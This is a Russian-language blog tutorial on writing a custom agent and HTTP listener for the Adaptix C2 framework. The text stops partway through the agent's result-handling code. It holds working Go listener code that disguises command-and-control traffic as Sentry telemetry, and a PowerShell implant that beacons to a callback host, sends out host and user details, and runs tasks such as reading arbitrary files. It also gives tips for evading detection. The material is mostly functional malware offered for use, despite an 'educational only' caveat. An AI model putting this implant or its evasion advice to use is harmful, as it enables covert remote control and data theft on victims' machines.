c2
November 16

Создаём агента для Adaptix C2

Мой любимый C2 фреймворк, Adaptix - в последнее время набирает всё большую популярность. В этой статье мы рассмотрим как создать нового или адаптировать существующего агента под Adaptix C2.

Adaptix C2 выделяется среди фреймворков не только красивым и удобным интерфейсом, но и лёгкостью расширения. Добавлять BOF, агентов или листенеров достаточно просто - и в этой заметке мы наглядно это рассмотрим.

Перед началом, немного похвастаюсь своим вкладом в проект (ведь если сам себя не похвалишь..)):

Статья писалась для Adaptix v0.10 - так что какие-то моменты могут измениться в будущем (пишите об этом в комменты или личку, я обновлю заметку).

Не будем особо тянуть - сразу к делу:

Что мы будем делать

Для удобства разработки, писать агента мы будем на PowerShell (и работать он будет только под Windows), а в качестве протокола для листенера будем использовать HTTP, замаскированный под телеметрию Sentry. Чтобы не усложнять разработку, остановимся на следующем функционале:

  • Запуск программ (run)
  • Работа с директориями и файлами (ls/cd/cat)

Туннели, BOFы, интерактивные терминалы и прочие фишки можете попробовать добавить самостоятельно.

Первым делом ставим Adaptix C2 (если у вас он не стоит). Как это сделать подробно описано в Wiki

Создание агента требует некоторых навыков в разработке, особенно знания Golang. Без этих знаний разобраться в теме может быть сложно.

OPSEC: Использование HTTP (без S), и реализация методов "в лоб", будет легко палиться как аналитиками, так и EDR/NTA/SIEM. Код в статье предназначен только для учебных целей!

Создаём листенер

Для начала, склонируем репозиторий с шаблонами для разработки (https://github.com/Adaptix-Framework/templates-extender):

git clone https://github.com/Adaptix-Framework/templates-extender
cd templates-extender

Папка, в которой будет лежать наш Listener - listener_template_external.

Я буду следовать той же структуре файлов, что и в оригинальных Extender у Adaptix C2, и создам файл pl_http.go для реализации самого листенера.

Структура работы листенера

Как видно по схеме, файл pl_listener в такой структуре кода предоставляет унифицированный интерфейс для работы с объектом листенера (код для которого будет лежать в pl_http.go).

Теперь пробежимся по файлам которые у нас есть в директории:

ax_config.axs - Определяет как будет выглядеть менюшка создания нашего листенера
config.json - Конфигурация нашего листенера (имя, путь до файлов, ..)
go.mod - Стандартный файл golang с зависимостями
go.sum
Makefile - Файл который определяет способ сборки extender
pl_http.go - Тут мы будем писать код листенера (как слушать, как формировать пакеты, итд)
pl_listener.go - Тут шаблонный код для управления листенером (создание/остановка)
pl_main.go - Этот файл мы не меняем, шаблонный код для работы Extender

Подготавливаем окружение

До начала работы с проектом, в go.mod указываем имя модуля:

Кроме того, чтобы наш Listener установился как плагин для сервера, нужно указать правильные версии библиотек. Скопируйте содержимое go.mod из любого оригинального листенера Adaptix (Я взял beacon_listener_http), и вставьте в свой проект. В моём случае это были следующие строки (напомню, я использую Adaptix v0.10):

require (
        github.com/Adaptix-Framework/axc2 v0.9.0
        github.com/gin-gonic/gin v1.11.0
)

require (
        github.com/bytedance/gopkg v0.1.3 // indirect
        github.com/bytedance/sonic v1.14.1 // indirect
        github.com/bytedance/sonic/loader v0.3.0 // indirect
        github.com/cloudwego/base64x v0.1.6 // indirect
        github.com/gabriel-vasile/mimetype v1.4.10 // indirect
        github.com/gin-contrib/sse v1.1.0 // indirect
        github.com/go-playground/locales v0.14.1 // indirect
        github.com/go-playground/universal-translator v0.18.1 // indirect
        github.com/go-playground/validator/v10 v10.27.0 // indirect
        github.com/goccy/go-json v0.10.5 // indirect
        github.com/goccy/go-yaml v1.18.0 // indirect
        github.com/json-iterator/go v1.1.12 // indirect
        github.com/klauspost/cpuid/v2 v2.3.0 // indirect
        github.com/leodido/go-urn v1.4.0 // indirect
        github.com/mattn/go-isatty v0.0.20 // indirect
        github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
        github.com/modern-go/reflect2 v1.0.2 // indirect
        github.com/pelletier/go-toml/v2 v2.2.4 // indirect
        github.com/quic-go/qpack v0.5.1 // indirect
        github.com/quic-go/quic-go v0.54.1 // indirect
        github.com/twitchyliquid64/golang-asm v0.15.1 // indirect
        github.com/ugorji/go/codec v1.3.0 // indirect
        go.uber.org/mock v0.6.0 // indirect
        golang.org/x/arch v0.21.0 // indirect
        golang.org/x/crypto v0.42.0 // indirect
        golang.org/x/mod v0.28.0 // indirect
        golang.org/x/net v0.44.0 // indirect
        golang.org/x/sync v0.17.0 // indirect
        golang.org/x/sys v0.36.0 // indirect
        golang.org/x/text v0.29.0 // indirect
        golang.org/x/tools v0.37.0 // indirect
        google.golang.org/protobuf v1.36.10 // indirect
)

Подгрузите модули:

go mod tidy

Создаём объект листенера

Теперь приступим к написанию кода. Сперва создадим структуру для настроек листенера. Наш листенер достаточно простой, поэтому полей будет мало:

type HTTPConfig struct {
	HostBind           string `json:"host_bind"`
	PortBind           int    `json:"port_bind"`
	CallbackAddress string `json:"callback_address"`
}

HostBind - На каком адресе листенер будет слушать
PortBind - На каком порту листенер будет слушать
CallbackAddress - Адрес, по которому агент будет стучаться на сервер. Может быть равен HostBind, а может быть и не равен - например если используем Redirector

Теперь структуру для самого листенера:

type HTTP struct {
	GinEngine *gin.Engine
	Server    *http.Server
	Config    HTTPConfig
	Name      string
	Active    bool
}

Определим как запускается наш листенер:

func (handler *HTTP) Start(ts Teamserver) error {
	var err error = nil

	// Настраиваем Gin
	gin.SetMode(gin.ReleaseMode)
	router := gin.New()

	// Привязываем наш обработчик запросов к пути
	router.POST("/api/:id/envelope", handler.processRequest)

	// Инициализируем статус листенера
	handler.Active = true

	// Создаём HTTP сервер
	handler.Server = &http.Server{
		Addr:    fmt.Sprintf("%s:%d", handler.Config.HostBind, handler.Config.PortBind),
		Handler: router,
	}

	fmt.Printf("   Started listener: http://%s:%d\n", handler.Config.HostBind, handler.Config.PortBind)

	// В отдельной горутине запускаем наш HTTP-сервер
	go func() {
		err = handler.Server.ListenAndServe()
		if err != nil && !errors.Is(err, http.ErrServerClosed) {
			fmt.Printf("Error starting HTTP server: %v\n", err)
			return
		}
		handler.Active = true
	}()

	// Немного ждём, чтобы сервер успел подняться
	time.Sleep(500 * time.Millisecond)
	return err
}

Код достаточно несложный. Если вам захочется добавить SSL, можно ознакомиться с оригинальным листенером BeaconHTTP - там он есть.

Cделаем возможность останавливать листенер:

func (handler *HTTP) Stop() error {
	var (
		ctx    context.Context
		cancel context.CancelFunc
		err    error = nil
	)

	ctx, cancel = context.WithTimeout(context.Background(), 3*time.Second)
	defer cancel()

	err = handler.Server.Shutdown(ctx)
	return err
}

Определяем протокол общения

Внимательные уже могли заметить, что ранее мы повесили на наш путь "/api/../envelope" функцию processRequest. Эта функция и будет содержать саму суть листенера - способ обработки запросов от агентов.

Перед тем как продолжить писать код, взглянем на типичный запрос на Sentry:

{"event_id":"a1b2c3d4e5f6g7h8","sent_at":"2025-01-01T00:00:00.000Z","sdk":{"name":"sentry.javascript.browser","version":"7.0.0"}}
{"type":"transaction"}
{"contexts":{"trace":{"trace_id":"trace123456789abc","span_id":"span123456789abc","op":"pageload","description":"Page load transaction for homepage"}},"spans":[{"span_id":"span987654321def","op":"http.client","description":"GET /api/users - Fetch user data","start_timestamp":1704067200.000,"timestamp":1704067200.100,"trace_id":"trace123456789abc"}],"start_timestamp":1704067200.000,"timestamp":1704067201.000,"transaction":"/home","type":"transaction","platform":"javascript"}

Для передачи данных, я выбрал поле "description" в "span" - в него агент будет запихивать данные для передачи.

Ответ от сервера Sentry обычно содержит только одно поле - "id". За неимением лучшего, будем использовать его, а пейлоад закодируем в HEX.

Для передачи HeartBeat (данных о конфигурации агента), будем использовать поле "event_id":

OPSEC: Для такого запроса очень легко разработать сигнатуры, из-за статичных полей (например, trace_id) - поэтому их лучше рандомизировать. И сам пейлоад лучше шифровать - хотя бы двух-трёх байтовым XOR - чтобы сигнатуры HeartBeat и данных было сложнее анализировать

Таким образом, для получения данных из пакета от агента, нам нужно получить третью строку из POST-запроса, спарсить JSON и вытащить .spans[0].description.

func (handler *HTTP) processRequest(ctx *gin.Context) {
	var (
		ExternalIP   string
		err          error
		agentType    string
		agentId      string
		beat         []byte
		bodyData     []byte
		responseData []byte
	)

	// Получаем IP подключенного агента
	ExternalIP = strings.Split(ctx.Request.RemoteAddr, ":")[0]

	// Парсим данные переданные агентом
	agentType, agentId, beat, bodyData, err = handler.parseBeatAndData(ctx)
	if err != nil {
		goto ERR
	}

	if !ModuleObject.ts.TsAgentIsExists(agentId) {
		_, err = ModuleObject.ts.TsAgentCreate(agentType, agentId, beat, handler.Name, ExternalIP, true)
		if err != nil {
			goto ERR
		}
	}

	_ = ModuleObject.ts.TsAgentSetTick(agentId)

	_ = ModuleObject.ts.TsAgentProcessData(agentId, bodyData)

	responseData, err = ModuleObject.ts.TsAgentGetHostedAll(agentId, 0x1900000) // 25 Mb

	if err != nil {
		goto ERR
	} else {
		hexEncodedResponseData := hex.EncodeToString(responseData)
		response := `{"id": "` + hexEncodedResponseData + `"}`
		// Формируем ответ от сервера
		ctx.Writer.Header().Add("Content-Type", "application/json")
		_, err = ctx.Writer.Write([]byte(response))
		if err != nil {
			// Если произошла ошибка, откидываем 404
			fmt.Println("Failed to write to request: " + err.Error())
			ctx.Writer.WriteHeader(http.StatusNotFound)
			return
		}
	}

	ctx.AbortWithStatus(http.StatusOK)
	return

ERR:
	// Если произошла ошибка, откидываем 404
	fmt.Println("Error: " + err.Error()) // Оставим временно для отладки
	ctx.Writer.WriteHeader(http.StatusNotFound)
}

Эта часть кода отвечает за приём данных и отправку сформированного пакета обратно в агента. Код для парсинга данных от агента (bodyData) вынесем в отдельную функцию (parseBeatAndData).

type BeatLine struct {
	EventId string `json:"event_id"`
}

type DataLine struct {
	Spans []struct {
		Description string `json:"description"`
	} `json:"spans"`
}

func (handler *HTTP) parseBeatAndData(ctx *gin.Context) (string, string, []byte, []byte, error) {
	var (
		agentType uint
		agentId   uint
		agentInfo []byte
		bodyData  []byte
		err       error
		firstLine []byte
		thirdLine []byte
		agentData []byte
	)

	bodyData, err = io.ReadAll(ctx.Request.Body)
	if err != nil {
		return "", "", nil, nil, errors.New("missing POST data")
	}

	lines := bytes.Split(bodyData, []byte{'\n'})
	if len(lines) < 3 {
		return "", "", nil, nil, errors.New("missing data - less than 3 lines")
	}
	firstLine = lines[0]
	thirdLine = lines[2]

	// Parse beat (first line of json -> event_id)
	var beatLine BeatLine

	err = json.Unmarshal(firstLine, &beatLine)
	if err != nil {
		return "", "", nil, nil, errors.New("failed decode beat")
	}

	agentInfoEncoded := beatLine.EventId

	agentInfo, err = hex.DecodeString(agentInfoEncoded)
	if err != nil {
		return "", "", nil, nil, errors.New("failed decode beat")
	}

	agentType = uint(binary.LittleEndian.Uint32(agentInfo[:4]))
	agentInfo = agentInfo[4:]
	agentId = uint(binary.LittleEndian.Uint32(agentInfo[:4]))
	agentInfo = agentInfo[4:]

	// Parse beat (first line of json -> event_id)
	var dataLine DataLine

	err = json.Unmarshal(thirdLine, &dataLine)
	if err != nil {

		return "", "", nil, nil, errors.New("failed decode data")
	}

	if len(dataLine.Spans) == 0 {
		return "", "", nil, nil, errors.New("failed decode data - no spans")
	}

	agentDataEncoded := dataLine.Spans[0].Description
	agentData, err = hex.DecodeString(agentDataEncoded)
	if err != nil {
		return "", "", nil, nil, errors.New("failed decode data")
	}

	return fmt.Sprintf("%08x", agentType), fmt.Sprintf("%08x", agentId), agentInfo, agentData, nil
}

Этот код можно условно представить в следующем виде:

  1. Выделяем три линии из тела запроса, считывая их из тела запроса (ctx.Request.Body)
  2. Парсим JSON из первой линии. Берём данные из поля "event_id", декодируем из HEX и раскладываем по полям
  3. Парсим JSON из третьей линии. Берём данные из поля ".spans[0].description", декодируем из HEX и отдаём как ответ агента

Интерфейс листенера

Создаём AxScript для меню (напомню, у нас используются только три поля для конфигурации листенера). Её я так же переделал из BeaconHTTP. Помните мы задавали json-тэги (`json:"host_bind"`) для параметров HTTPConfig? При создании формы AxScript, в "container.put" первым аргументом указываем именно это имя. AxScript передаст JSON с сериализованными полями на вход в наш pl_listener.go

/// PaperShell HTTP listener

function ListenerUI(mode_create)
{
    // Host selector
    let labelHost = form.create_label("Host & port (Bind):");
    let comboHostBind = form.create_combo();
    comboHostBind.setEnabled(mode_create)
    comboHostBind.clear();
    let addrs = ax.interfaces();
    for (let item of addrs) { comboHostBind.addItem(item); }

    // Port selector
    let spinPortBind = form.create_spin();
    spinPortBind.setRange(1, 65535);
    spinPortBind.setValue(8080);
    spinPortBind.setEnabled(mode_create)

    // Callback selector
    let labelCallback = form.create_label("Callback address:");
    let textCallback = form.create_textline();
    textCallback.setPlaceholder("192.168.1.1:8080");

    let container = form.create_container();
    container.put("host_bind", comboHostBind);
    container.put("port_bind", spinPortBind);
    container.put("callback_address", textCallback);

    let layout = form.create_gridlayout();
    let spacer1 = form.create_vspacer();
    let spacer2 = form.create_vspacer();

    layout.addWidget(spacer1, 0, 0, 1, 2);

    layout.addWidget(labelHost, 1, 0, 1, 2);
    layout.addWidget(comboHostBind, 2, 0, 1, 1);
    layout.addWidget(spinPortBind, 2, 1, 1, 1);

    layout.addWidget(labelCallback, 3, 0, 1, 2);
    layout.addWidget(textCallback, 4, 0, 1, 2);

    layout.addWidget(spacer2, 5, 0, 1, 2);

    let panel = form.create_panel();
    panel.setLayout(layout);

    return {
        ui_panel: panel,
        ui_container: container
    }
}

Создание формочки достаточно простое, но нужно учитывать следующие моменты:

container - это объект который будет сериализовывать входные данные от инпутов. За отрисовку он не отвечает

panel - отвечает за отрисовку элементов. Чтобы расположить элементы в panel, понадобится layout.

Больше информации про то как создавать менюшки есть в документации - https://adaptix-framework.gitbook.io/adaptix-framework/development/axscript/axform-type

Код для работы с листенером

Теперь нам нужно написать код для создания, запуска, остановки листенера через плагин (в pl_listener.go). Создаем валидатор конфига:

func (m *ModuleExtender) HandlerListenerValid(data string) error {

	var (
		err  error
		conf HTTPConfig
	)

	// data - это данные из AxScript

	err = json.Unmarshal([]byte(data), &conf)
	if err != nil {
		return err
	}

	if conf.HostBind == "" {
		return errors.New("HostBind is required")
	}

	if conf.PortBind < 1 || conf.PortBind > 65535 {
		return errors.New("PortBind must be in the range 1-65535")
	}

	if conf.CallbackAddress == "" {
		return errors.New("callback_address is required")
	}

	// Check callback address

	host, portStr, err := net.SplitHostPort(conf.CallbackAddress)
	if err != nil {
		return fmt.Errorf("Invalid address (cannot split host:port): %s\n", conf.CallbackAddress)
	}

	port, err := strconv.Atoi(portStr)
	if err != nil || port < 1 || port > 65535 {
		return fmt.Errorf("Invalid port: %s\n", conf.CallbackAddress)
	}

	ip := net.ParseIP(host)
	if ip == nil {
		if len(host) == 0 || len(host) > 253 {
			return fmt.Errorf("Invalid host: %s\n", conf.CallbackAddress)
		}
		parts := strings.Split(host, ".")
		for _, part := range parts {
			if len(part) == 0 || len(part) > 63 {
				return fmt.Errorf("Invalid host: %s\n", conf.CallbackAddress)
			}
		}
	}

	return nil
}

В коде проверяем что IP-адрес, порт, и IP-адрес коллбэка валидные.

Теперь пишем код для запуска нашего листенера. Этот код так же должен уметь парсить конфиг.

func (m *ModuleExtender) HandlerCreateListenerDataAndStart(name string, configData string, listenerCustomData []byte) (adaptix.ListenerData, []byte, any, error) {
	var (
		listenerData adaptix.ListenerData // Это то, что будет отображаться в интерфейсе и использоваться агентом
		customdData  []byte
	)

	var (
		listener *HTTP
		conf     HTTPConfig
		err      error
	)

	// listenerCustomData может быть передана вместо конфига - если листенер стартует после перезапуска сервера

	if listenerCustomData == nil {
		// Парсим конфиг - он уже провалидирован, повторно не надо
		err = json.Unmarshal([]byte(configData), &conf)
		if err != nil {
			return listenerData, customdData, listener, err
		}
	} else {
		// Парсим конфиг - он уже провалидирован, повторно не надо
		err = json.Unmarshal(listenerCustomData, &conf)
		if err != nil {
			return listenerData, customdData, listener, err
		}
	}

	// Создаём листенер
	listener = &HTTP{
		GinEngine: gin.New(),
		Name:      name,
		Config:    conf,
		Active:    false,
	}

	// Запускаем листенер
	err = listener.Start(m.ts)
	if err != nil {
		return listenerData, customdData, listener, err
	}

	listenerData = adaptix.ListenerData{
		BindHost:  listener.Config.HostBind,
		BindPort:  strconv.Itoa(listener.Config.PortBind),
		AgentAddr: listener.Config.CallbackAddress,
		Status:    "Listen",
	}

	// Сохраняем конфиг в customdData
	var buffer bytes.Buffer
	err = json.NewEncoder(&buffer).Encode(listener.Config)
	if err != nil {
		return listenerData, customdData, listener, nil
	}
	customdData = buffer.Bytes()

	return listenerData, customdData, listener, nil
}

Аналогично для остановки листенера:

func (m *ModuleExtender) HandlerListenerStop(name string, listenerObject any) (bool, error) {
	var (
		err error = nil
		ok  bool  = false
	)

	listener := listenerObject.(*HTTP) // Кастуем к нашему листенеру
	if listener.Name == name {
		err = listener.Stop()
		ok = true
	}

	return ok, err
}

Не уверен зачем происходит сверка имени, но она была в оригинальных плагинах Adaptix, поэтому оставим её

Реализуем HandlerListenerGetProfile для извлечения конфига из уже созданного листенера:

func (m *ModuleExtender) HandlerListenerGetProfile(name string, listenerObject any) ([]byte, bool) {
	var (
		object bytes.Buffer
		ok     bool = false
	)

	listener := listenerObject.(*HTTP)
	if listener.Name == name {
		_ = json.NewEncoder(&object).Encode(listener.Config)
		ok = true
	}

	return object.Bytes(), ok
}

Осталось реализовать всего одну функцию для работоспособности листенера - редактирование данных:

func (m *ModuleExtender) HandlerEditListenerData(name string, listenerObject any, configData string) (adaptix.ListenerData, []byte, bool) {
	var (
		listenerData adaptix.ListenerData
		customdData  []byte
		ok           bool = false
		err          error
		conf         HTTPConfig
	)

	listener := listenerObject.(*HTTP)
	if listener.Name == name {
		// Parse config
		err = json.Unmarshal([]byte(configData), &conf)
		if err != nil {
			return listenerData, customdData, false
		}

		// Copy from new config to listener
		listener.Config.CallbackAddress = conf.CallbackAddress
		listener.Config.HostBind = conf.HostBind
		listener.Config.PortBind = conf.PortBind

		listenerData = adaptix.ListenerData{
			BindHost:  listener.Config.HostBind,
			BindPort:  strconv.Itoa(listener.Config.PortBind),
			AgentAddr: listener.Config.CallbackAddress,
			Status:    "Listen",
		}

		if !listener.Active {
			listenerData.Status = "Closed"
		}

		var buffer bytes.Buffer
		err = json.NewEncoder(&buffer).Encode(listener.Config)
		if err != nil {
			return listenerData, customdData, false
		}
		customdData = buffer.Bytes()

		ok = true
	}

	return listenerData, customdData, ok
}

С самой простой частью закончили)) Код выше по большей части шаблонный, но его легко менять под свои требования - например сделать External C2 или реализовать общение через DNS.

Собираем листенер

Теперь нам нужно отредактировать Makefile - вместо _LISTENER_ указать имя нашего листенера/агента. Я назвал его PaperShell:

all: clean
	@ echo "    * Building listener_papershell_http plugin"
	@ mkdir dist
	@ cp config.json ax_config.axs ./dist/
	@ go build -buildmode=plugin -ldflags="-s -w" -o ./dist/papershell_http.so pl_main.go pl_listener.go pl_http.go
	@ echo "      done..."

clean:
	@ rm -rf dist

Кроме того, на строчке с "go build", нужно дописать все файлы которые нужны для компиляции - в нашем случае нужно добавить "pl_http.go"


И меняем конфиг под наш листенер:

{
  "extender_type": "listener",
  "extender_file": "papershell_http.so",
  "ax_file": "ax_config.axs",

  "listener_name": "PaperShellHTTP",
  "listener_type": "external",
  "protocol": "http"
}

Зальём листенер в Adaptix:

cp -r ./dist ~/Tools/AdaptixC2/Extenders/listener_papershell_http

Собираем Extender'ы из папки AdaptixC2:

cd ~/Tools/AdaptixC2
make

Добавим экстендер в profile.json:

Проверяем листенер:

Ура, он появился))

Проверим что листенер работает на правильном порту:

Итак, листенер готов и слушает порт. Пора создать того, кто будет с ним говорить - нашего агента.

Создаём агента

Шаблон для агента находится в "agent_template". Я сразу переименую его в papershell_agent:

Так же как и в листенере, pl_main.go мы не будем трогать. pl_agent.go будет содержать логику генерации нового агента и упаковки данных для него.

Для кода самого агента я создам папку "src_papershell":

Для отладки генерации агента, положим в него такую заглушку:

Write-Host "Stub agent. Callback: <CALLBACK_HOST>:<CALLBACK_PORT>, Watermark: <WATERMARK>"

Начнём с двух простых функций, которые мы не задействуем - шифрование и дешифровка данных. Для OPSEC лучше их всё же реализовать, но в данном случае я их не использую:

func AgentEncryptData(data []byte, key []byte) ([]byte, error) {
	return data, nil
}

func AgentDecryptData(data []byte, key []byte) ([]byte, error) {
	return data, nil
}

Функция для генерации профиля тоже не обязательна - для таких скриптов как powershell, паковать данные в профиль совсем не обязательно - мы можем подставить их прямо в код, поэтому функцию можно оставить в таком виде:

func AgentGenerateProfile(agentConfig string, listenerWM string, listenerMap map[string]any) ([]byte, error) {
	return nil, nil
}

Пишем функцию для генерации агента из параметров. Мы будем использовать только параметры листенера и водяной знак (для идентификации агента):

func AgentGenerateBuild(agentConfig string, agentProfile []byte, listenerMap map[string]any) ([]byte, string, error) {
	var (
		Filename     string
		buildContent []byte
	)

	// Получаем нужные параметры подключения
	callbackHost, callbackPort, _ := net.SplitHostPort(strings.TrimSpace(listenerMap["callback_address"].(string)))

	// Собираем агента
	currentDir := ModuleDir
	Filename = "agent.ps1"

	agentContentBytes, err := os.ReadFile(currentDir + "/src_papershell/agent.ps1")
	if err != nil {
		return nil, "", err
	}

	agentContent := string(agentContentBytes)

	agentContent = strings.ReplaceAll(agentContent, "<CALLBACK_HOST>", callbackHost)
	agentContent = strings.ReplaceAll(agentContent, "<CALLBACK_PORT>", callbackPort)
	agentContent = strings.ReplaceAll(agentContent, "<WATERMARK>", AgentWatermark)

	buildContent = []byte(agentContent)

	return buildContent, Filename, nil
}

Не будем усложнять агента упаковкой и распаковкой бинарных данных - воспользуемся привычным JSON для общения с сервером. Напишем стартовый код для упаковки команды в данные для агента:

func CreateTask(ts Teamserver, agent adaptix.AgentData, args map[string]any) (adaptix.TaskData, adaptix.ConsoleMessageData, error) {
	var (
		taskData    adaptix.TaskData
		messageData adaptix.ConsoleMessageData
		err         error
	)

	command, ok := args["command"].(string)
	if !ok {
		return taskData, messageData, errors.New("'command' must be set")
	}
	// subcommand, _ := args["subcommand"].(string)

	taskData = adaptix.TaskData{
		Type: TYPE_TASK,
		Sync: true,
	}

	messageData = adaptix.ConsoleMessageData{
		Status: MESSAGE_INFO,
		Text:   "",
	}
	messageData.Message, _ = args["message"].(string)

	commandData := make(map[string]string)

	commandData["command"] = command

	switch command {
	case "cat":
		path, ok := args["path"].(string)
		if !ok {
			err = errors.New("paramter 'path' must be set")
			goto RET
		}
		commandData["path"] = path
	default:
		err = errors.New(fmt.Sprintf("Command '%v' not found", command))
		goto RET
	}

	taskData.Data, err = json.Marshal(commandData)
	if err != nil {
		goto RET
	}

RET:
	return taskData, messageData, err
}

Настроим файл сборки:

all: clean
	@ echo "    * Building agent_papershell plugin"
	@ mkdir dist
	@ cp config.json ax_config.axs ./dist/
	@ cp -r src_papershell ./dist/
	@ go build -buildmode=plugin -ldflags="-s -w" -o ./dist/agent_papershell.so pl_main.go pl_agent.go
	@ echo "      done..."

clean:
	@ rm -rf dist

В него я добавил копирование исходников нашего агента (src_papershell)

Файл конфигурации:

{
  "extender_type": "agent",
  "extender_file": "agent_papershell.so",
  "ax_file": "ax_config.axs",

  "agent_name": "papershell",
  "agent_watermark": "ab0ba000",
  "listeners": [ "PaperShellHTTP"]
}

Watermark должен быть уникальный, он поможет отличать нашего агента от других. В других местах Adaptix Watermark может называться AgentType.

И создадим AxScript для меню генерации агента и для регистрации команд:

/// PAPERSHELL_AGENT

function RegisterCommands(listenerType)
{

/// Commands Here

    let cmd_cat = ax.create_command("cat", "Read first 2048 bytes of the specified file", "cat C:\\file.exe", "Task: read file");
    cmd_cat.addArgString("path", true);

    if(listenerType == "PaperShellHTTP") {
        let commands_external = ax.create_commands_group("papershell", [cmd_cat] );

        return { commands_windows: commands_external }
    }
    return ax.create_commands_group("none",[]);
}

function GenerateUI(listenerType)
{
    // Пустая форма
    let container = form.create_container()

    let panel = form.create_panel()

    return {
        ui_panel: panel,
        ui_container: container
    }
}

Кстати, если вы хотите чтобы команды для агента можно было вводить мышой из контекстного меню, то это так же добавляется в AxScript

Теперь собираем агента:

Добавляем в extenders:

profile.json

И пробуем сгенерировать:

Как мы видем, всё сгенерировалось корректно:

Реализуем функции в агенте

Заметка явно затянулась, но мы уже недалеко от цели. Напомню, что в начале мы планировали реализовать только базовый набор команд. Конкретизируем его:

  • cat path - Прочитать файл
  • ls [path] - Содержимое директории
  • cd path - Переход в директорию
  • ps run executable args.. - Запуск процесса с параметрами (с захватом вывода)

Сам цикл работы агента будет построен следующим образом:

  1. Генерируем BEAT
  2. Отправляем запрос на получение данных с сервера, передаём на сервер блок начальных данных (os/username/domain/...)
  3. Если с сервера пришла задача (их может прийти сразу несколько за раз), выполняем её, результат выполнения каждой по отдельности отправляем на сервер
  4. Если не пришла, спим 10 секунд, пробуем получить снова

Кстати, данные инциализации (шаг 2) передаются прямо в BEAT. В листенере мы делали, чтобы первые 4 байта BEAT были типом агента, следующие 4 байта - ID. Для инициализирующего пакета после этих 8 байт допишем JSON с данными для регистрации агента.

Тогда начало нашего агента будет следующим:

$randomId = [int32](Get-Random -Maximum ([int32]::MaxValue + 1))

$agentId = [int32](Get-Random -Maximum ([int32]::MaxValue + 1))
$agentType = 0xab0ba000
$bytesAgentId = [BitConverter]::GetBytes($agentId)
$bytesAgentType = [BitConverter]::GetBytes($agentType)
$beat = $bytesAgentType + $bytesAgentId

$hexStringBeat = [System.BitConverter]::ToString($beat) -replace '-'

$uri = "http://<CALLBACK_HOST>:<CALLBACK_PORT>/api/" + $randomId + "/envelope"
$initialData = @{
    domain      = [System.Net.NetworkInformation.IPGlobalProperties]::GetIPGlobalProperties().DomainName
    username    = "$env:USERDOMAIN\$env:USERNAME"
    computer    = $env:COMPUTERNAME
    internal_ip = (Test-Connection -ComputerName $env:COMPUTERNAME -Count 1).IPV4Address.IPAddressToString
} | convertto-json

$global:isInitial = $true

function SendData($result) {
    # Send data to server using hex encoding and receive answer from server
    $hexStringData = ""
    if ($result.Count -ne 0) {
        $encoded = convertto-json -Depth 3 $result
        $bytes = [System.Text.Encoding]::UTF8.GetBytes($encoded)
        $hexStringData = [System.BitConverter]::ToString($bytes) -replace '-'
    }
    $additionalBeat = ""
    if ($global:isInitial) {
        $additionalBeat = [System.BitConverter]::ToString([System.Text.Encoding]::UTF8.GetBytes($initialData)) -replace '-'
        $global:isInitial = $false
    }

    $body = '{"event_id":"' + $hexStringBeat + $additionalBeat + '","sent_at":"2025-01-01T00:00:00.000Z","sdk":{"name":"sentry.javascript.browser","version":"7.0.0"}}
{"type":"transaction"}
{"contexts":{"trace":{"trace_id":"trace123456789abc","span_id":"span123456789abc","op":"pageload"}},"spans":[{"span_id":"span987654321def","op":"http.client","description":"' + $hexStringData + '","start_timestamp":1704067200.000,"timestamp":1704067200.100,"trace_id":"trace123456789abc"}],"start_timestamp":1704067200.000,"timestamp":1704067201.000,"transaction":"/home","type":"transaction","platform":"javascript"}
'

    $response = Invoke-WebRequest -Uri $uri -Method POST -Body $Body

    $encodedTaskData = ($response.Content | convertfrom-json).id
    if ($encodedTaskData -eq "") {
        return New-Object System.Collections.ArrayList
    }

    $hexBytes = $encodedTaskData -split '(..)' | Where-Object { -not [String]::IsNullOrEmpty($_) }

    foreach ($hexByte in $hexBytes) {
        # Convert each hex pair to an integer (base 16) and then to a character
        $asciiString += [char]([convert]::ToInt32($hexByte, 16))
    }

    $taskData = $asciiString | ConvertFrom-Json
    return $taskData
}

$TaskData = SendData(@())

Достаточно прямолинейный код для кодирования данных и отправки на сервер по HTTP.

Добавим цикл обработки задач:

$TaskResults = New-Object System.Collections.ArrayList
$TaskResults.Clear()
while ($true) {
    $TaskData = SendData($TaskResults)
    $TaskResults.Clear()

    foreach ($task in $TaskData) {
        write-output $task
        $taskId = $task.task_id
        # Decode task data
        $jsonData = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($task.task_data))
        $data = ConvertFrom-Json $jsonData

        # Здесь будет реализация команд
    }

    Start-Sleep 10
}

И реализацию первой команды (cat):

        if ($data.command -eq "cat") {
            $path = $data.path
            $result = [System.IO.File]::ReadAllBytes($path)
            
            $responseData = @{
                command = $data.command
                path = $data.path
                content = $result
                taskId = $taskId
            }
            $TaskResults.Add($responseData)
        }

Для обработки первого пакета (инициализируещего), реализуем "CreateAgent". Эта функция будет обрабатывать HeatBeat в первом пакете от агента и добавлять метаданные.

type InitialData struct {
	Domain     string `json:"domain"`
	Username   string `json:"username"`
	Computer   string `json:"computer"`
	InternalIP string `json:"internal_ip"`
}

func CreateAgent(initialData []byte) (adaptix.AgentData, error) {
	var agentData adaptix.AgentData

	fmt.Printf("res: %v\n", initialData)

	var parsedData InitialData
	err := json.Unmarshal(initialData, &parsedData)
	if err != nil {
		return agentData, err
	}

	// Fill data: domain, computer, username, internalip
	agentData.Domain = parsedData.Domain
	agentData.Username = parsedData.Username
	agentData.Computer = parsedData.Computer
	agentData.InternalIP = parsedData.InternalIP

	// Мы не шифруем данные
	agentData.SessionKey = []byte("NULL")

	return agentData, nil
}

Теперь подготовим код для формирования пакетов задач (снова закодируем всё в обычный JSON):

type AgentTaskData struct {
	TaskId   string `json:"task_id"`
	TaskData []byte `json:"task_data"`
}

func PackTasks(agentData adaptix.AgentData, tasksArray []adaptix.TaskData) ([]byte, error) {
	var tasks []AgentTaskData

	// Урезаем данные задач для передачи агенту
	for _, task := range tasksArray {
		tasks = append(tasks, AgentTaskData{
			TaskId: task.TaskId,
			TaskData: task.Data
		})
	}

	packData, err := json.Marshal(tasks)

	if err != nil {
		return nil, err
	}

	return packData, nil
}

Потребовалось добавить цикл для урезания объектов задач - adaptix.TaskData содержит слишком много информации (например имя пользователя который поставил задачу), которую лучше не отправлять в агент - иначе злые аналитики повыдёргивают и задеанонят :).

И добавляем код для обработки ответов агента (пока реализуем только команду "cat"):

type ResultData struct {
	Path    string `json:"path"`
	Command string `json:"command"`
	Content []byte `json:"content,omitempty"`
	TaskId  string `json:"taskId"`
}

